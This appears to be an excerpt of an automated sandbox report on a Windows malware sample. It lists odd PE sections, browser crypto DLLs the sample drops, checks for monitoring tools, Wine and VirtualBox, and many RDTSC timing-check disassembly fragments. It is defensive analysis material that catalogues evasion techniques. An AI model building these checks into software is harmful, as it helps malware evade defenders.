Source: file.exe	Static PE information: section name: bmqjtvuk
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: file.exe

Static PE information: section name: bsgzxsth entropy: 7.954031784720999

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DFE1 second address: 52DFE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E45E second address: 52E462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530BBC second address: 530BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530BC0 second address: 530BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530BC4 second address: 530C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC51CADF60Ah 0x0000000b popad 0x0000000c xor dword ptr [esp], 0D0EC5CDh 0x00000013 movzx esi, bx 0x00000016 push 00000003h 0x00000018 movsx ecx, dx 0x0000001b push 00000000h 0x0000001d jmp 00007FC51CADF60Fh 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007FC51CADF608h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e mov dx, bx 0x00000041 js 00007FC51CADF609h 0x00000047 movsx esi, bx 0x0000004a mov ecx, edx 0x0000004c push B7BE70E9h 0x00000051 pushad 0x00000052 jns 00007FC51CADF608h 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530C38 second address: 530CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 add dword ptr [esp], 08418F17h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FC51CCBAE88h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dx, di 0x0000002c lea ebx, dword ptr [ebp+12446AA0h] 0x00000032 call 00007FC51CCBAE92h 0x00000037 jmp 00007FC51CCBAE93h 0x0000003c pop edx 0x0000003d or ecx, 69C566E0h 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 ja 00007FC51CCBAE86h 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530D15 second address: 530D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007FC51CADF60Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530D22 second address: 530D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FC51CCBAE94h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 jne 00007FC51CCBAE8Ch 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push ebx 0x00000021 push eax 0x00000022 pop eax 0x00000023 pop ebx 0x00000024 jg 00007FC51CCBAE9Ah 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FC51CCBAE99h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530D95 second address: 530E54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC51CADF618h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov edi, ebx 0x00000010 push 00000003h 0x00000012 pushad 0x00000013 call 00007FC51CADF615h 0x00000018 jmp 00007FC51CADF612h 0x0000001d pop eax 0x0000001e popad 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007FC51CADF608h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b mov cl, F1h 0x0000003d push 00000003h 0x0000003f pushad 0x00000040 mov ebx, dword ptr [ebp+122D39E4h] 0x00000046 jnl 00007FC51CADF60Ah 0x0000004c popad 0x0000004d call 00007FC51CADF609h 0x00000052 jns 00007FC51CADF617h 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FC51CADF619h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530E54 second address: 530E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CCBAE99h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530E71 second address: 530E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530E75 second address: 530EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007FC51CCBAE98h 0x00000011 mov eax, dword ptr [eax] 0x00000013 jmp 00007FC51CCBAE93h 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 pop edx 0x00000021 pop edx 0x00000022 pop eax 0x00000023 mov di, si 0x00000026 lea ebx, dword ptr [ebp+12446AA9h] 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FC51CCBAE88h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D1FF6h], edx 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007FC51CCBAE8Eh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530F9F second address: 530FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF60Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c jmp 00007FC51CADF60Eh 0x00000011 pop edi 0x00000012 nop 0x00000013 mov si, 873Ah 0x00000017 add dword ptr [ebp+122D1AE6h], edx 0x0000001d push 00000000h 0x0000001f mov edx, dword ptr [ebp+122D2080h] 0x00000025 push DD6CCB0Ah 0x0000002a push ecx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530FDE second address: 530FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530FE4 second address: 531073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 add dword ptr [esp], 22933576h 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FC51CADF608h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 call 00007FC51CADF60Bh 0x0000002c mov si, dx 0x0000002f pop ecx 0x00000030 push 00000003h 0x00000032 mov esi, dword ptr [ebp+122D1AF0h] 0x00000038 push 00000000h 0x0000003a mov ch, dl 0x0000003c mov esi, 599E21F0h 0x00000041 push 00000003h 0x00000043 xor dx, 7C57h 0x00000048 push A025D8FDh 0x0000004d jmp 00007FC51CADF617h 0x00000052 add dword ptr [esp], 1FDA2703h 0x00000059 mov dl, al 0x0000005b lea ebx, dword ptr [ebp+12446AB4h] 0x00000061 mov dword ptr [ebp+122D1BF2h], edx 0x00000067 xchg eax, ebx 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531073 second address: 531077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531077 second address: 531088 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF60Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531088 second address: 53109F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CCBAE93h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109F second address: 5310A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A3 second address: 5310B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FC51CCBAE86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B6 second address: 5310C0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC51CADF606h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310C0 second address: 5310C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5511D9 second address: 5511E3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC51CADF606h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5511E3 second address: 5511EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551918 second address: 55191E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55191E second address: 551934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a jnc 00007FC51CCBAE86h 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551BF5 second address: 551BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551BFB second address: 551C01 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551EC5 second address: 551EE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC51CADF619h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552178 second address: 552189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FC51CCBAE86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d push ebx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548F19 second address: 548F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548F1F second address: 548F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548F23 second address: 548F27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548F27 second address: 548F2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548F2D second address: 548F4E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC51CADF616h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007FC51CADF60Eh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 548F4E second address: 548F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5528E8 second address: 5528EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5528EE second address: 552923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC51CCBAE99h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC51CCBAE92h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552923 second address: 552927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552927 second address: 55293B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007FC51CCBAE8Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552D40 second address: 552D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529679 second address: 529690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 js 00007FC51CCBAE88h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jbe 00007FC51CCBAE86h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529690 second address: 529694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529694 second address: 5296A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC51CCBAE86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5296A9 second address: 5296AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5296AD second address: 5296B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC51CCBAE86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5296B9 second address: 5296C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FC51CADF606h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5296C6 second address: 5296E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CCBAE94h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558BB3 second address: 558BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC51CADF60Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558BC6 second address: 558BCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5593FB second address: 559425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CADF616h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FC51CADF60Ch 0x00000013 jl 00007FC51CADF606h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ECF0 second address: 55ED0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC51CCBAE96h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ED0D second address: 55ED12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ED12 second address: 55ED41 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC51CCBAE88h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FC51CCBAEA9h 0x00000012 jmp 00007FC51CCBAE8Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC51CCBAE8Bh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516FB0 second address: 516FC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jg 00007FC51CADF606h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516FC1 second address: 516FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516FC6 second address: 516FCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516FCC second address: 516FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E3E4 second address: 55E402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnl 00007FC51CADF606h 0x0000000b jnp 00007FC51CADF606h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 js 00007FC51CADF614h 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E402 second address: 55E406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E842 second address: 55E856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC51CADF60Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E856 second address: 55E888 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC51CCBAE88h 0x00000008 jg 00007FC51CCBAE8Eh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnp 00007FC51CCBAEB0h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FC51CCBAE90h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55E9DD second address: 55EA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC51CADF612h 0x00000009 jmp 00007FC51CADF616h 0x0000000e popad 0x0000000f jc 00007FC51CADF612h 0x00000015 jng 00007FC51CADF606h 0x0000001b js 00007FC51CADF606h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007FC51CADF611h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560ADB second address: 560ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560ADF second address: 560AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560AED second address: 560AF7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC51CCBAE86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 560AF7 second address: 560B32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC51CADF611h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FC51CADF60Ah 0x00000014 mov eax, dword ptr [eax] 0x00000016 push ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 push edx 0x00000028 pop edx 0x00000029 popad 0x0000002a rdtsc
